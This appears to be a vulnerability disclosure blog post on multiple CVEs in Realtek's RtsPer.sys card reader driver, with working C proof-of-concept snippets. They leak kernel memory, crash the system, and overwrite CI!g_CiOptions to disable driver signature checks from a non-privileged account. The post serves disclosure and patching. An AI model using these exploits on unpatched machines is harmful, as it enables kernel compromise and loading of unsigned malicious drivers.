I discovered multiple vulnerabilities in RtsPer.sys, an SD card reader driver developed by Realtek. These vulnerabilities enable non-privileged users to leak the contents of kernel pool and kernel stack, write to arbitrary kernel memory, and, the most interesting, read and write physical memory from user mode via the DMA capability of the device. The vulnerabilities have remained undisclosed for years, affecting many OEMs, including Dell, Lenovo, and others. If your laptop is equipped with an SD card reader, it is highly likely to be manufactured by Realtek, making it susceptible to these vulnerabilities as well.

The first time I spotted vulnerabilities was in January 2022 while browsing objects in the \Device directory of the Windows Object Manager. One of the device objects with a very permissive ACL drew my attention. A quick investigation revealed a few flaws in the driver that created the object: RtsPer.sys. “Easy”, I thought when submitting the report to Realtek.

Realtek released the fix in April 2022. Almost a year later, I checked the driver again and realized that the DMA vulnerability was still present. I had missed it when Realtek asked me to verify the fix, and they had missed it too. I improved the PoC for the DMA vulnerability to make it more indicative (hell, that was hard!), notified Realtek about the problem, and started writing the blog post. Guess what? I found a few more vulnerabilities, including a critical one, while finishing the write-up. The findings were submitted to Realtek, and we entered yet another wait-for-the-fix, approve-the-fix, wait-for-deployment cycle, which took more time than the previous one. Now, after more than two years since the first submission, this journey is finished, and I can finally turn this page.

This blog post consists of two parts. The first part describes the following vulnerabilities of RtsPer.sys:

  • CVE-2022-25477: leaking driver logs
  • CVE-2022-25478: accessing PCI config space
  • CVE-2022-25479: leaking kernel pool and stack
  • CVE-2022-25480: writing beyond IRP::SystemBuffer
  • CVE-2024-40432: writing beyond IRP::SystemBuffer
  • CVE-2024-40431: writing to arbitrary kernel address

The second part of the blog post is entirely dedicated to CVE-2022-25476, a vulnerability that allows access to the DMA controller. I will provide a detailed explanation of how to access the controller from user mode and how to program it to read and write physical memory. Additionally, the second part covers various topics, such as the disclosure timeline and the tools used for the research.

The blog post begins with a few less exciting flaws and then demonstrates how to create a reliable exploit that writes to arbitrary kernel memory by combining a couple of vulnerabilities that look barely exploitable on their own. If you just want to write to kernel memory, skip to CVE-2024-40431 section.

Additionally, this part highlights the impact of these weaknesses, detailing the affected OEMs. Each chapter of the blog post includes a snippet that demonstrates the specific flaw being discussed. I tested these snippets with the RTS5260 model, but they should work with other Realtek SD card readers as well.

[CVE-2022-25477]

The driver implements logging, and it logs extensively. While logging itself isn’t a problem, being enabled by default, the log gives out addresses of kernel mode objects, which weakens KASLR. E.g. the log begins with a few addresses of a kernel module and the address of the device extension of the device, though you have to be lucky to fetch them cause the log is cyclical and the buffer is small. But even if you’re late, you won’t miss much: the driver consistently logs addresses of various active kernel objects, such as the address of the IRP it handles. Also, since the device object of the driver allows access to everyone, it’s possible to invoke various control handlers solely to trigger the logging of valuable information. In the fixed version of the driver, the log is encrypted. The following snippet demonstrates fetching the log into a buffer:

struct LogDescriptor
{
    ULONG Size;
    PVOID Buffer;
} desc;
desc.Buffer = log;
desc.Size = sizeof(log);

DWORD BytesReturned;
BOOL r = DeviceIoControl(
    hDev,
    IOCTL_GET_LOG,
    &desc,
    sizeof(desc),
    nullptr,
    0,
    &BytesReturned,
    nullptr);
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_GET_LOG failed: %d\n",
        GetLastError()
    );
}

//print the log. Warning, might be big!
printf("Log data:\n %s\n\n", log);

Some older versions of the driver don’t utilize the LogDescriptor structure; instead, they write log data directly into the SystemBuffer. Additionally, the content of the older log differs slightly. Here’s an example of the log data:

313 (30124) rts_init_pofx_routines : pPoFxActivateComponent=0xFFFFF8067669D970
313 (30124) rts_init_pofx_routines : pPoFxIdleComponent=0xFFFFF8067669C620
313 (30124) rts_init_pofx_routines : pPoFxSetComponentWake=0xFFFFF80676968B50
313 (30124) rts_init_pofx_routines : pPoFxCompleteIdleState=0xFFFFF806767A61D0
313 (30124) rts_init_pofx_routines : pPoFxCompleteIdleCondition=0xFFFFF8067674EBD0
313 (30124) rts_init_pofx_routines : pPoFxReportDevicePoweredOn=0xFFFFF8067679C6D0
313 (30124) rts_init_pofx_routines : pPoFxCompleteDevicePowerNotRequired=0xFFFFF806767A7210
313 (30124) rts_init_pofx_routines : pPoFxRegisterDevice=0xFFFFF80676BB0B00
313 (30124) rts_init_pofx_routines : pPoFxUnregisterDevice=0xFFFFF80676BD2910
313 (30124) rts_init_pofx_routines : pPoFxStartDevicePowerManagement=0xFFFFF806767BDBD0
313 (30124) rts_init_pofx_routines : pPoFxCompleteDirectedPowerDown=0xFFFFF806769688D0
313 (30124) rts_adddevice : fdx is 0xFFFF998BCCECD1A0, PAGE_SIZE is 0x1000 

[CVE-2022-25478]

The SD card reader is a PCI device, which means it has a PCI configuration space. The PCI configuration space is a set of registers used by both the device and the host to standardize the enumeration and resource allocation processes. The first 64 bytes of the PCI configuration space comprise the standardized header, while the remaining space is reserved for device-specific data. The standardized header contains essential information about the device, including the Vendor ID, Device ID, Base Address Registers (BARs) and other important fields. RtsPer.sys enables access to the configuration space of the device through two control codes: 0x2D2190 for reading and 0x2D2194 for writing. These controls basicaly are wrappers for GetSetDeviceData method of BUS_INTERFACE_STANDARD driver interface, which resides in pci.sys and implements actual reads and writes to the config space. The standard header is represented by the PCI_COMMON_HEADER structure on Windows. Although the structure appears to be undocumented, its definition can be found in wdm.h. Most fields in the header, except for the BARs, are read-only. Since I didn’t explore the device-specific area much, I decided to take the shortest path to demonstrate the vulnerability: when writing a random value to the BAR, it triggers a heavy interrupt storm that lasts for ~20 minutes, rendering the OS unusable. Maybe it’s possible to yield more, but the research would take too much time, so I leave it as is.

Both 0x2D2190 and 0x2D2194 control requests accept data in a custom structure. The custom structure encapsulates the offset in the PCI config space that we want to read from or write to, as well as the length of the data, followed by the data buffer. The handlers of IO controls then extract these fields and pass them to the GetSetDeviceData method. For some reason, the driver only allows reading or writing 255 bytes of the config space at once.

The snippet below reads the standard header of the config space, modifies the value of the BAR and writes it back. Soon after that the aforementioned interrupt storm starts.

PCI_COMMON_HEADER PciHeader;
DWORD BytesReturned;

#pragma pack (push, 1)
struct PCIDescriptor
{
    WORD CfgSpaceOffset;
    BYTE Length;
    PCI_COMMON_HEADER PciHeader;
} PCIDesc;
#pragma pack (pop)
PCIDesc.CfgSpaceOffset = 0;
PCIDesc.Length = sizeof(PciHeader); //max 0xFF

r = DeviceIoControl(
    hDev,
    IOCTL_READ_PCI_CONFIG,
    &PCIDesc,
    sizeof(PCIDesc),
    &PCIDesc.PciHeader,
    sizeof(PCIDesc.PciHeader),
    &BytesReturned,
    0);

if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_READ_PCI_CONFIG failed: %d\n",
        GetLastError()
    );
}

// just some random BAR address
PCIDesc.PciHeader.u.type0.BaseAddresses[0] = 0x10000;  

PCIDesc.CfgSpaceOffset = 0;
PCIDesc.Length = sizeof(PciHeader);

// write the PCI header back
r = DeviceIoControl(
    hDev,
    IOCTL_WRITE_PCI_CONFIG,
    &PCIDesc,
    sizeof(PCIDesc),
    nullptr,
    0,
    &BytesReturned,
    0);
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_WRITE_PCI_CONFIG failed: %d\n",
        GetLastError()
    );
}

[CVE-2022-25479]

The vulnerability allows for the leakage of kernel memory from both the stack and the heap. To better understand the nature of this vulnerability, let’s zoom out for a moment and take a general look at the driver.

RtsPer.sys is a disk driver that creates a physical device object (PDO) for the card reader and attaches the device objects of the disk.sys and partmgr.sys drivers on top of it. The IRP handlers of the PDO serve requests from the upper levels by programming the device and copying the transferred data. Like any disk driver, RtsPer.sys expects requests in the form of a SCSI request block (SRB). The SRB contains various information about the request, such as the address and length of the transfer buffer and the code of the SCSI command, among other details. Dependently on the command, the driver either fulfills the request by itself or forwards it to the controller. Also, the driver implements the IOCTL_SCSI_PASS_THROUGH_DIRECT control code, which plays a major role in the exploitation of most vulnerabilities I found in the driver. The handler of IOCTL_SCSI_PASS_THROUGH_DIRECT creates an SRB based on the SCSI_PASS_THROUGH_DIRECT structure that is passed from user mode and adds the SRB to the IO queue for later processing. This allows any SCSI command to be passed from user mode to the driver and then to the controller.

Both the SCSI_PASS_THROUGH_DIRECT and SCSI_REQUEST_BLOCK structures have a field named Cdb that contains the code of the SCSI command of the request. The length of the Cdb field is 16 bytes, where the first byte represents one of the standard SCSI commands, and the remaining bytes are command-dependent. One of the most interesting SCSI commands implemented by RtsPer.sys has the code 0xF0, which essentially serves as a prefix for the vendor-specific set of subcommands, where the actual operation is defined by the 2nd byte of the Cdb field. A vendor-specific subcommand encoded with the code 0xA is one of the kernel memory leakers. A few other SCSI commands that are involved in the leak are READ CAPACITY and READ CAPACITY16, which are encoded with codes 0x25 and 0x9E, respectively. The READ CAPACITY commands leak from the heap, while the 0xF0 0xA command leaks from the stack. Oh, how convenient!

The handlers of all of these commands share the same issue: when serving a request from user mode, they copy the content of the kernel buffer to the buffer of the SRB using the data length provided by the SRB itself. Given that we can passthru an SRB from user mode, it means that we can instruct the driver on how many bytes of memory it should copy by assigning a data buffer of a certain size to the SRB. Once the size of the SRB buffer exceeds the size of the source buffer, user mode gets whatever amount of bytes of kernel memory that follow the buffer.

Now, let’s take a closer look at one of the vulnerable functions. Here is the decompiled handler of READ CAPACITY command: pic The handler allocates 8 bytes from the heap and passes it along with the SRB to the scsi_stor_set_xfer_buf function, which is a generic copying function used to transfer data to or from the SRB. Before the actual copying, the function ensures that the destination buffer is large enough to hold the data, assuming that the source buffer is not smaller than the destination. While most of the handlers perform an additional check of the source buffer’s size, the READ CAPACITY, READ CAPACITY16, and the command encoded with 0xF 0xA are missing this check.

The following snippet exploits the vulnerability by sending a READ CAPACITY command that specifies a data buffer of size 0x88. Upon successful execution of DeviceIoControl, the buffer will contain 0x8 bytes of the driver’s data and 0x80 bytes of heap kernel memory.

SCSI_PASS_THROUGH_DIRECT Scsi;
DWORD BytesReturned;

RtlZeroMemory(&Scsi, sizeof(Scsi));
Scsi.Length = sizeof(Scsi);
Scsi.Cdb[0] = 0x25; //READ_CAPACITY

CHAR PoolContent[0x88] = {};
Scsi.DataBuffer = PoolContent;
Scsi.DataTransferLength = 0x8 + 0x80;
RtlFillMemory(PoolContent, sizeof(PoolContent), 0xDD);

r = DeviceIoControl(
    hDev,
    IOCTL_SCSI_PASS_THROUGH_DIRECT,
    &Scsi,
    sizeof(Scsi),
    &Scsi,
    sizeof(Scsi),
    &BytesReturned,
    0);
    
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT pool leak failed: %d\n",
        GetLastError()
    );
}

This is how the dump of the data buffer looks after the call: pic Other vulnerable handlers can be exploited in the same way.

These flaws make the driver a highly useful tool for Windows kernel memory exploration. I will leverage it to exploit of one of the other vulnreablilties of the driver. The exploration should be approached cautiously, given the kernel mode stack’s limited size of just a few pages and the unpredictable layout of the heap. Attempting to leak too much memory could result in a lovely BSOD. To fix the issue the driver should limit the length of the data to copy, and this is what Realtek did.

[CVE-2022-25480]

This vulnerability enables indirect writing to kernel memory.

The problem is related to the handling of sense data, a component of the SCSI error reporting capability. Sense data is an array of 18 bytes that a SCSI device fills out to provide extended information about the error that occurred during the execution of a SCSI command. The content of the array is command-specific. The SCSI standard provides the REQUEST SENSE command for the retrieval of sense data. However, RtsPer.sys also copies it for every IOCTL_SCSI_PASS_THROUGH_DIRECT control request that has failed. Upon completion of a passthru request, the driver checks if an error occurred during the execution of the SCSI command. If an error did occur, the driver then examines the value of the SCSI_PASS_THROUGH_DIRECT::SenseInfoOffset field. If this field is not zero, the driver adds it to the address of the output buffer and copies the sense data to the resulting address.

The driver does not limit the value of the SenseInfoOffset field, making it possible to copy sense data beyond the output buffer. The IOCTL_SCSI_PASS_THROUGH_DIRECT control utilizes a METHOD_BUFFERED transfer type, which means that the IRP::SystemBuffer is employed for both the input buffer, where the SCSI_PASS_THROUGH_DIRECT structure is passed to the driver, and the output buffer, which could serve as the base for kernel memory writes. Here is an excerpt of the vulnerable function:

pic

So, to write beyond the SystemBuffer, the user mode caller should set the SCSI_PASS_THROUGH_DIRECT::SenseInfoOffset field to a value that is greater than the length of the output buffer. The vulnerability, however, is not so easy to exploit. On one hand, due to the SenseInfoOffset field being a 32-bit unsigned integer, it restricts the copying of sense data to the memory window of 4GB that begins at the address of the SystemBuffer. Additionally, the exact address of SystemBuffer is not known at the time of exploitation. On the other hand, CVE-2022-25479 can help to overcome these issues. The address of the SystemBuffer can be predicted by leaking its previous values from the stack of the driver, as it is highly likely to be reused. Furthermore, the 4GB window is large enough to reach some vital structures of the driver that are allocated from the heap.

Regardless, I haven’t written a full-fledged PoC, as there are other vulnerabilities in the driver that are more enticing. Also, it would take time to figure out how to control the content of sense data. The following snippet blindly copies the data to the SystemBuffer + 4GB address. Warning, it blue screens!

SCSI_PASS_THROUGH_DIRECT Scsi;
DWORD BytesReturned;

RtlZeroMemory(&Scsi, sizeof(Scsi));
Scsi.SenseInfoLength = 0xC;
Scsi.SenseInfoOffset = 0xFFFFFFFF;
Scsi.Cdb[0] = 0x30;

r = DeviceIoControl(
    hDev,
    IOCTL_SCSI_PASS_THROUGH_DIRECT,
    &Scsi,
    sizeof(Scsi),
    &Scsi,
    sizeof(Scsi),
    &BytesReturned,
    0);
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_SCSI_PASS_THROUGH_DIRECT copy SenseInfo failed: %d\n",
        GetLastError()
    );
}

To address the vulnerability, Realtek added a check to ensure that the sum of the SenseInfoOffset and SenseInfoLength fields does not exceed the length of the buffer.

[CVE-2024-40432]

I found this one while writing this blog post. It’s a good reminder of how useful it is to review code.

Basically, CVE-2024-40432 is of the same vulnerability type as CVE-2022-25480, but it resides in a handler that serves requests to the physical device object (PDO) of the driver, not to the FDO. The handler requires the caller to have write access to the device object, while the ACL of the PDO does not provide such access to Everyone, making the vulnerability less valuable. I discovered CVE-2024-40432 much later than other vulnerabilities of the driver, so it was assigned a separate CVE ID to avoid confusion. Apart from that, it is just another offset originating from the user mode that is not sanitized carefully enough. For the sake of completeness, I will provide a brief description of the vulnerability.

RtsPer.sys implements the IOCTL_SFFDISK_DEVICE_COMMAND control that handles Secure Digital card commands coming from the user mode. The handler receives commands in the form of SFFDISK_DEVICE_COMMAND_DATA structure placed in SystemBuffer. The structure contains a field called ProtocolArgumentSize, which represents an offset relative to the last field of the structure. The driver copies data at this offset but doesn’t check if it points beyond SystemBuffer, making it possible to write to kernel memory. The following snippet demonstrates the exploitation of the vulnerability. It blue screens too, soon after the call to DeviceIoControl API.

DWORD BytesReturned;
SFFDISK_DEVICE_COMMAND_DATA SffCmd;
RtlZeroMemory(&SffCmd, sizeof(SffCmd));
SffCmd.Command = 0xD;
SffCmd.DeviceDataBufferSize = 0x10;   //max is 0x40
SffCmd.ProtocolArgumentSize = 0xFFFF; //the rogue offset relative to SffCmd.Data
SffCmd.Data[0] = 0x9;

BOOL r = DeviceIoControl(
    hPdo,
    IOCTL_SFFDISK_DEVICE_COMMAND,
    &SffCmd, sizeof(SffCmd),
    &SffCmd, sizeof(SffCmd),
    &BytesReturned,
    0);
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_SFFDISK_DEVICE_COMMAND failed: %d\n",
        GetLastError()
    );
}

[CVE-2024-40431]

One more vulnerability that I found while writing this post. Combined with the previously described CVE-2022-25479, it allows arbitrary writing to kernel memory. The most practical, the most dangerous one!

Besides the aforementioned IOCTL_SCSI_PASS_THROUGH_DIRECT handler, the driver also implements a similar control named IOCTL_SCSI_PASS_THROUGH. Like its counterpart, IOCTL_SCSI_PASS_THROUGH allows passing SCSI commands to the driver but with slightly different semantics. The handler of IOCTL_SCSI_PASS_THROUGH receives input in the form of a SCSI_PASS_THROUGH structure, which includes a DataBufferOffset field. As the name suggests, this field is an offset to the data buffer relative to the beginning of the structure. Many SCSI commands, even those unrelated to data transfer, return information to the caller by copying it to the data buffer. To convert the offset into a pointer, the control’s handler adds the offset to the address of the SCSI_PASS_THROUGH structure, which is actually the address of IRP::SystemBuffer. The problem is that the handler does not check if DataBufferOffset points outside of SystemBuffer, which means specifying a large value in the DataBufferOffset field allows a non-privileged caller to redirect the copying function, overwriting kernel memory.

pic

While this vulnerability is similar to CVE-2022-25480, it also has a significant difference: the DataBufferOffset field is 64-bit wide, allowing the attacker to reach the entire address space. However, to write to a specific kernel address, we need to know the address of SystemBuffer in advance. And this is where we exploit the previously discovered CVE-2022-25479 vulnerability.

The idea is to massage the pool with multiple IOCTL_SCSI_PASS_THROUGH calls, leaking the stack on each iteration. At some point, the memory manager’s determinism/optimization will kick in, causing the same memory location for SystemBuffer to be reused over and over again. From the leaked data, we can determine this location.

We issue many, many IOCTL_SCSI_PASS_THROUGH calls that leak the stack, and due to the consistent stack positioning, extracting the SystemBuffer address is relatively simple. It’s interesting that, since CVE-2022-25479 also resides in the IOCTL_SCSI_PASS_THROUGH handler but involves a different SCSI command, these calls not only perform pool massage but also leak stack data. Once we observe that the extracted address remains unchanged after, say, 256 calls, we can safely assume it will remain the same in the subsequent call to IOCTL_SCSI_PASS_THROUGH. With this knowledge, we pass a rogue DataBufferOffset that, when added to the address of SystemBuffer, points to the kernel address we intend to write to. Surprisingly, this approach proves to be quite stable.

Identifying the address of SystemBuffer in the stack wasn’t straightforward because the compiler optimizes frequently accessed pointers, keeping them in registers instead of storing them in the stack. Eventually, I found a solution: instead of using the SystemBuffer address directly, I used the SCSI_PASS_THROUGH::SenseInfo pointer. When SenseInfoLength is zero, SenseInfo also points to SystemBuffer, and it gets stored in the stack.

pic

The following snippet implements this idea. In an endless loop, it leaks the stack and extracts the SystemBuffer address from the leaked data on each iteration. The snippet then compares this address to the previously extracted value. If the address remains unchanged, the counter is incremented; otherwise, it is reset. Once the counter reaches 256, the loop ends. At this point, we calculate the offset between the target address and the assumed SystemBuffer address, and issue a SCSI command that writes data to the buffer. For simplicity, the snippet issues the REQUEST SENSE command, although controlling its output is challenging. The PoC in the GitHub repository is more sophisticated: it constructs a value that disables driver signature checks in the driver’s memory by issuing a few controls, performs stack leak/massage, and then requests a read of this constructed value. It uses a rogue offset that points to CI!g_CiOptions, leading to the variable being overwritten. I was too lazy didn’t want to make the PoC too complicated, so I just ask the user to enter the address of CI!g_CiOptions manually at the beginning of the exploitation. The address can be obtained from WinDbg or calculated through other means. Once CI!g_CiOptions is overwritten, the PoC waits for 30 seconds and enables DSE back to keep PatchGuard happy. Do not hesitate to load your unsigned driver within these 30 seconds of freedom.


const int STACK_LEAK_LEN = 0x300;
const int STACK_DATA_LEN = 0x300;
const int SYSBUFF_OFFSET = 0x210;
const int SYSBUFF_NO_CHANGE_NUM = 0x100;

struct
{
    SCSI_PASS_THROUGH Spt;
    UCHAR Buffer[STACK_DATA_LEN];
} SptBuf;

ULONG Counter = 0;
ULONG_PTR PrevSysBuffer = 0;
DWORD BytesReturned;

// Leak the stack until SystemBuffer changes
for (;;)
{
    RtlZeroMemory(&SptBuf, sizeof(SptBuf));
    SptBuf.Spt.Length = sizeof(SptBuf.Spt);
    SptBuf.Spt.Cdb[0] = 0xF0; //vendor-specific command
    SptBuf.Spt.Cdb[1] = 0x0A; //stack leaking sub command
    SptBuf.Spt.DataBufferOffset = sizeof(SCSI_PASS_THROUGH);
    SptBuf.Spt.DataTransferLength = STACK_LEAK_LEN;
    BOOL r = DeviceIoControl(
        hDev,
        IOCTL_SCSI_PASS_THROUGH,
        &SptBuf,
        sizeof(SptBuf),
        &SptBuf,
        sizeof(SptBuf),
        &BytesReturned,
        0
    );
    if (r == FALSE)
    {
        printf(
            "DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n",
            GetLastError()
        );
        Counter = 0;
    }
    else
    {
        // Leak successful, extract the value of SystemBuffer
        ULONG_PTR p = *((PULONG_PTR)(&SptBuf.Buffer[SYSBUFF_OFFSET]));
        printf("SystemBuffer: %p\n", p);
        if (PrevSysBuffer == p)
        {
            Counter++;
        }
        else
        {
            PrevSysBuffer = p;
            Counter = 0;
        }
    }

    if (Counter >= SYSBUFF_NO_CHANGE_NUM)
    {
        printf(
          "SystemBuffer didn't change 0x%x times. Break and enter!\n",
          Counter);
        break;
    }
}

// If we are here, the address of SystemBuffer for the next call to 
// DeviceIoControl is almost certain. Now we can calculate the offset
// to the address we want to write to and call DeviceIoControl.
//
// The address of ci!g_CiOptions is demonstrational.
ULONG_PTR ci_g_CiOptions = 0xfffff8067445a478;
ULONG_PTR CiOptionsOffset = ci_g_CiOptions - PrevSysBuffer;

RtlZeroMemory(&SptBuf, sizeof(SptBuf));
SptBuf.Spt.Length = sizeof(SptBuf.Spt);
SptBuf.Spt.Cdb[0] = 0x03; //REQUEST SENSE command
SptBuf.Spt.DataBufferOffset = CiOptionsOffset;
SptBuf.Spt.DataTransferLength = 0x1;

r = DeviceIoControl(
    hDev,
    IOCTL_SCSI_PASS_THROUGH,
    &SptBuf,
    sizeof(SptBuf),
    &SptBuf,
    sizeof(SptBuf),
    &BytesReturned,
    0
);
if (r == FALSE)
{
    printf(
        "DeviceIoControl IOCTL_SCSI_PASS_THROUGH failed: %d\n",
        GetLastError()
    );
}
else
{
    printf("Yassss!\n");
}

Despite its stability, this approach isn’t ideal because the stack position of the pointer to SystemBuffer varies from version to version of RtsPer.sys. On the other hand, since there aren’t too many versions, collecting all positions of the pointer seems to be doable.

[Video]

The video demonstrates PoCs for some of the vulnerabilities discussed in the post. It includes kernel stack and pool dumping, followed by writing to kernel memory, which zeroes out ci!g_CiOptions for 30 seconds, allowing an unsigned driver to load. After the unsigned driver is loaded, the PoC restores the original value of ci!g_CiOptions. The PoC runs under a non-privileged user account and at a low mandatory level. I didn’t implement the calculation of the location of ci!g_CiOptions, so I copy the location from WinDbg manually. CVE-2024-40431 wasn’t assigned when the video was made, so it is labeled as CVE-6.

[Impact]

RtsPer.sys is a fairly universal driver, serving multiple SD card reader models such as RTS5260, RTS5228, etc. This universality is achieved by using virtual function tables: the core of the driver is reused across different models of the reader while model-specific features are implemented in virtual functions. While this is a good approach from a software architecture perspective, it also increases the impact of vulnerabilities when they reside in the core component of the driver.

With that being said, it’s hard to build a complete list of affected laptop and desktop models because it’s probably senselessly long. Instead, I will outline the potentially affected card reader models and the OEMs that include them in their hardware.

From the .inf file that accompanies the driver, I concluded that it is compatible with the following card reader models:

  • RTS5227
  • RTS5228
  • RTS522A
  • RTS5249
  • RTS524A
  • RTS5250
  • RTS525A
  • RTS5287
  • RTS5260
  • RTS5261
  • RTS5264

The following OEMs equip some of their laptop series with SD card readers manufactured by Realtek:

  • Dell
  • HP
  • Lenovo
  • MSI

The list may be incomplete. Basically, if your laptop or desktop has a card reader managed by RtsPer.sys, make sure that the driver is up to date.

[Fix]

Initially, I planned to provide detailed information about the fix, including the release date, download links, and more. However, Realtek’s response became so slow and reluctant over time that I eventually gave up on gathering these details.

What I can confirm is that the fix was released sometime in July or August. The vulnerabilities CVE-2022-25477, CVE-2022-25478, CVE-2022-25479, and CVE-2022-25480 were addressed long ago, as noted in Realtek’s advisory. However, CVE-2022-25476 wasn’t fully patched until the July-August fix, which also addressed CVE-2024-40431 and CVE-2024-40432. The version of RtsPer.sys that is free from all these vulnerabilities is 10.0.26100.21374 or higher.

[Next]

This concludes the first part of the blog post. In the second part, I will delve into accessing physical memory using the card reader’s DMA capability. Additionally, I’ll show the disclosure timeline, which got longer than usual, and discuss the tools used during the research. The code for all PoCs presented in the blog is available in the repository. Feel free to ask me anything in Twitter.